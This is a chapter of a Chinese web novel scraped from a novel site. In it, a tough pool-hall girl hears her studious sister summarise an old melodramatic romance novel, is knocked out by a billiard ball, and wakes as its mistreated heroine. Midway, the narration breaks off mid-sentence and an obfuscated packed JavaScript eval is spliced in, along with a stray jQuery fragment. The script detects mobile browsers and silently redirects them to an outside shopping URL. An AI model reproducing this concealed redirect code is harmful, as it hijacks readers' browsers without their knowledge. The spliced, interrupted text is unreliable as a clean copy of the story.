文趣网 > 其他小说 > 精神小妹穿为白月光 > 2. 穿书
    “怎么可能,这本小说比你的年龄还大呢。”

    姚岚无语,“我是怕你会穿书。”

    “穿书?”姚姈更疑惑了。

    “对呀。”妹妹煞有介事地推了推眼镜,表情严肃的像是在探讨化学实验。

    “我看的很多穿书文都是这么写的:发现自己穿进了小说里,成了同名同姓的女主或是女配,之后便利用对剧情的了解,逆天改命,走上人生巅峰。”

    “所以啊——”姚岚拍了拍她的肩,一副势必当个事儿办的模样,“我这才建议你全文背诵,有备无患。”

    姚姈听得目瞪口呆,连嘴里的口香糖都忘了嚼。

    憋了半天才憋出一句,“……书呆子,你读书读傻了吧?”

    她可是自打小学六年级辍学起,就再也没有背过一篇课文。

    姚姈抬手摸了摸姚岚的额头,确认自家妹妹没有发烧给脑子烧糊涂。

    “你是不是要升高中了,学习压力太大?”

    “别怕,咱能学成啥样就啥样,尽力就行,大不了以后姐养你呗。”

    她挥了挥手里的台球杆,贴心安慰道:“你都不知道,姐当台球助教一个月能赚老多钱了……”

    姚岚浅浅笑了起来,“姐,我这不是怕你穿进小说里,不知道剧情会吃亏嘛。”

    她一笑,嘴角边就会抿出两个小梨涡。

    “你要是不乐意看的话,要不我给你讲一下?”

    见妹妹如此执着,姚姈只好又坐了回去。

    “……行吧,那我听听是怎么个事儿。”

    姚岚清了清嗓子。

    随后,便用她那条理清晰、极有逻辑的语言,讲了一个没有条理、毫无逻辑的故事:

    这本小说的女主姚姈,长相绝美清冷,楚楚动人。但父母早亡,只能寄人篱下,舅舅舅妈贪了姚家遗产,却只肯供弟弟读书,逼破女主高三辍学去打工。

    女主走投无路,只好低头去找全校最拽、最有钱的校霸男主陆京延,卑微地求他资助自己上学。

    结果男主一眼看上她这朵干净小白花,占有欲直接疯长。

    嘴上嫌弃她穷,羞辱她拜金女、攀高枝,对外冷暴力,任由全校欺负她;

    对内又偏执纠缠,不准她离开,一边虐她,一边放不下,典型又疯又渣的古早霸总。

    男主还有个青梅竹马,也就是书中的恶毒女配。

    从小被宠坏,疯狂嫉妒女主,天天造谣抹黑,处处针对女主,挑拨离间。

    男主永远相信女配,误会女主,次次狠狠伤她,让女主受尽委屈、百口莫辩。

    最狗血的结局来了:

    女配突然肾衰竭快死了,全城只有女主姚姈的肾能匹配。

    被蒙蔽到底的男主,完全不念女主多年隐忍和真心,强势逼她捐肾,道德绑架她,逼她救人。

    女主孤立无援,只能被迫做手术捐肾。

    殊不知她本就长期抑郁体弱,还怀有身孕,术后直接并发症暴毙。

    女主一辈子被欺负、被误解、被践踏尊严……直到含恨惨死,所有真相全部曝光。

    男主才知道自己从头到尾都误会错人,亲手逼死了他最爱的白月光,悔恨万分……

    姚岚语速不疾不缓,简单明了地把整本小说讲完。

    “姐,剧情你记住了吗?”

    姚姈表情呆滞:“……”

    台球厅嘈杂的DJ喊麦、混合着旁人说笑打闹的声音,落在她耳朵里,一时间显得格外荒诞且滑稽。

    嘴里的口香糖也彻底停止了咀嚼。

    她足足愣了五六秒,才蹦出一句:

    “不是?这作者有病吧?”

    姚姈眉头死死皱着,满脸匪夷所思的嫌弃,吐槽直接火力拉满:

    “你是说——人家女主好好一个小姑娘,漂亮、懂事、上进,就为了读个书,求人资助,最后落得个被男主活活折磨死的下场?”

    “这写的是人看的东西?这哪是虐文啊,这纯纯报复社会文!”

    她越想越离谱,活脱脱一副要去找作者对线的架势:

    “我严重怀疑,这作者绝对是有私仇!”

    “她是不是还有个同名同姓的仇人也叫姚姈啊?不然没仇没怨的,能把自己笔下的女主往死里折腾?心里也太扭曲了吧!”

    姚岚看着自家姐姐义愤填膺、恨不得给作者寄刀片的样子,无奈又好笑地解释:

    “姐,你淡定一点。这是十几年前的古早虐文,全都是这样的套路。”

    “那个年代的读者就吃这一口,主打男主又渣又苏,偏执深情、爱恨纠缠,越虐越火。男主越疯、越折磨人,后期后悔得越狠,读者越爱看。”

    姚姈简直像在听什么异端邪说,当场瞳孔地震。

    “苏?我是真半点儿苏点没看出来!”

    “阴晴不定、脑子缺根弦,仗着有钱有势欺负穷小姑娘,逼人捐肾送人去死……”

    “这叫苏?这不纯纯暴力偏执神经病吗?!”

    姚姈气得冒火。

    她撸了撸袖子,大姐大气场全开:

    “要是真让我穿进去,看我不把他揍得哭爹喊娘!还敢逼我捐肾,我直接把他俩腰子一块儿摘了,一个挂咸鱼上卖二手,一个拿去涮火锅!脑袋都给他提溜下来当台球打!”

    姚岚听着她姐这一通彪悍发言,嘴角的梨涡浅浅陷着,忍不住笑出声,“好好好,姈姐威武。”

    “行了,”姚姈拄着台球杆站起身,手指关节按得咔吧响,“我得去活动活动筋骨,好好看你的小说吧在这儿。”

    “去吧去吧。”

    她走了几步又回过头,扯着嗓子道:“看点儿正能量的!实在不行姐推荐你几部热血短剧……”

    话还没说完,就听得有人发出尖锐爆鸣。

    姚姈下意识循声望过去。

    一颗台球不知道从哪个方向飞了过来,高速旋转。

    不偏不倚,正中她的脑门儿。

    一声闷响。

    姚姈只觉得眼冒金星,整个世界在一瞬间被抽干了空气,变得极不真切。

    她的身体软下去,最后看到的画面是天花板上那盏晃晃悠悠的日光灯。

    以及从椅子上猛地窜起来的姚岚,表情惊慌。

    “姐——!!!”

    然后,就是黑暗。

    无边无际的黑暗。

    姚姈感觉自己像是在一个巨大的滚筒洗衣机里被甩来甩去,脑子里走马灯似的闪过无数乱七八糟的画面:

    红榜,崭新的红榜。

    贴在学校的公告栏上,底下一群穿校服的学生仰着头看。

    榜首第一个名字是“姚姈”。

    有人窃窃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635535|206567||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    私语:“年级第一又是她啊,好厉害……”

    一双粗糙的手,把一张满分的数学卷子揉成一团,扔进了垃圾桶。

    “丫头片子读那么多书有什么用?!”女人声音尖利,语气不耐,“你弟弟暑假要报变成补习班,你夜市摆摊赚的钱呢?拿出来给他交补习费!”

    肥头大耳的男孩儿瘫在沙发上打游戏,薯片的碎渣掉了一身,手机里传出短视频聒噪的笑声。

    他头也不抬地朝门外喊:“妈!我姐呢?让她给我点外卖,我要吃炸鸡!”

    ……

    不对。

    姚姈混乱的意识猛然一顿。

    这是谁的记忆?

    下一秒,她倏地睁开了双眼。

    手机的手电筒灯光刺得瞳孔骤然收缩。

    她偏过头,意识到自己好像倒在了地上,身下是冰凉的瓷砖。

    头发上有水渍正顺着脸颊流下,红酒的涩味冲进鼻腔。

    姚姈努力撑起身子,摇了摇发晕的脑袋。

    红酒渍刺得她眼眶发酸,但她还是看清了眼前的场景——

    那是一个巨大的泳池。

    池水在灯光下泛着碧蓝色的光,水面上漂着几只充气浮排和一堆花花绿绿的漂浮物,周围是修剪得整整齐齐的棕榈树和不知名的亚热带植物。

    不远处的别墅灯火通明,近处则摆放着户外餐桌和躺椅。

    一群富家公子哥打扮的年轻男生坐在那,慵懒地摇晃着手中的红酒杯。

    他们的视线投过来,像是围猎者在欣赏一只落入陷阱的猎物,全都在等着看好戏,甚至还有人举着手机,镜头正对着她拍。

    而她面前,正蹲着一个男生。

    年纪不大,十七八岁的样子,染着一头张扬的红发,脖子上挂着一根银链子,长相算得上帅气。

    但眉眼间全然是那种被惯坏了的嚣张和轻蔑。

    他手里举着一只空掉的高脚杯,正低下头来凑近她的脸,嘴角的弧度又欠揍又得意。

    “哟,醒了?”

    红毛的声音很大,像是故意要让周围所有人都听见,“我还以为一杯红酒就把你泼傻了呢。”

    “哈哈哈哈哈!”

    躺椅那边顿时传来一阵哄笑声。

    “既然陆京延今天说了,要带你见见世面,那小爷我就给你好好科普一下——”

    他指着姚姈头上还在往下滴的酒液,语气里全是居高临下的施舍和傲慢。

    “这瓶红酒,一五年罗曼尼康帝,单瓶市场价要三十八万。光我刚才往你头上倒的那半杯,少说值个几万块。”

    一边说着,他还用手中的空酒杯拍了拍姚姈的脸。

    “几万块,够给你交学费了吧?”

    面对这般恶意满满的羞辱,姚姈的关注点却只在他提到的那三个字上——

    陆京延。

    这不是那本垃圾虐女小说的男主吗?

    难道……

    姚姈后知后觉地抬起右手。

    中指的第一指节上,有一个微微突出的茧子。

    妹妹的手上也有,这是长期伏在桌案上刷题写字磨出来的。

    而她天天混迹台球厅,手上只有被台球杆磨出来的茧子。

    跟这个完全不一样。

    姚岚这个乌鸦嘴!

    ——自己真的穿书了!